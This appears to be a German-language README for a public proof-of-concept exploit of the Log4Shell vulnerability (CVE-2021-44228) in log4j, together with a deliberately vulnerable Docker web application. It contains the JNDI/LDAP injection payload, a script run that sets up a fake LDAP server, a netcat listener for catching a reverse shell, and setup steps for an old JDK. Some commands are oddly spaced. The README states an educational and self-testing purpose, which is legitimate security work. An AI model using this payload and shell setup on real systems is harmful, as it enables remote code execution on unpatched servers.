Ein Proof-Of-Concept für die kürzlich entdeckte Schwachstelle CVE-2021-44228.
Kürzlich gab es eine neue Schwachstelle in log4j, einer Java-Protokollierungsbibliothek, die in Elasticsearch, Minecraft und zahlreichen anderen weit verbreitet ist.
In diesem Repository gibt es ein Beispiel für eine anfällige Anwendung und einen Proof-of-Concept (POC)-Exploit dafür.
Als PoC gibt es eine Python-Datei, die den Prozess automatisiert.
pip install -r requirements.txt
nc - lvnp 9001
jdk1.8.0_20
haben und sich im selben Verzeichnis befinden. $ python3 poc . py - - userip localhost - - webport 8000 - - lport 9001
[!] CVE : CVE - 2021 - 44228
[!] Github repo : https : // github . com / kozmer / log4j - shell - poc
[ + ] Exploit java class created success
[ + ] Setting up fake LDAP server
[ + ] Send me : ${ jndi : ldap : // localhost : 1389 / a }
Listening on 0.0 . 0.0 : 1389
Dieses Skript richtet den HTTP-Server und den LDAP-Server für Sie ein und erstellt außerdem die Nutzlast, die Sie zum Einfügen in den anfälligen Parameter verwenden können. Wenn danach alles gut gelaufen ist, sollten Sie eine Shell auf dem Lport installieren.
Es gibt eine Docker-Datei mit der anfälligen Webanwendung. Sie können dies nutzen, indem Sie die folgenden Schritte ausführen:
1 : docker build - t log4j - shell - poc .
2 : docker run -- network host log4j - shell - poc
Sobald es ausgeführt wird, können Sie über localhost:8080 darauf zugreifen
Oracle stellt dankenswerterweise ein Archiv für alle früheren Java-Versionen zur Verfügung:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
Scrollen Sie nach unten zu 8u20
und laden Sie die entsprechenden Dateien für Ihr Betriebssystem und Ihre Hardware herunter.
Hinweis: Sie müssen ein Konto erstellen, um das Paket herunterladen zu können.
Sobald Sie das Archiv heruntergeladen und extrahiert haben, finden Sie java
und einige verwandte Binärdateien in jdk1.8.0_20/bin
.
Hinweis: Stellen Sie sicher, dass Sie den JDK-Ordner mit demselben Namen in dieses Repository extrahieren, damit er funktioniert.
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
Dieses Repository ist nicht als One-Click-Exploit für CVE-2021-44228 gedacht. Der Zweck dieses Projekts besteht darin, Menschen dabei zu helfen, mehr über diese Sicherheitslücke zu erfahren und möglicherweise ihre eigenen Anwendungen zu testen (es gibt jedoch bessere Anwendungen für diesen Zweck, z. B. https://log4shell.tools/).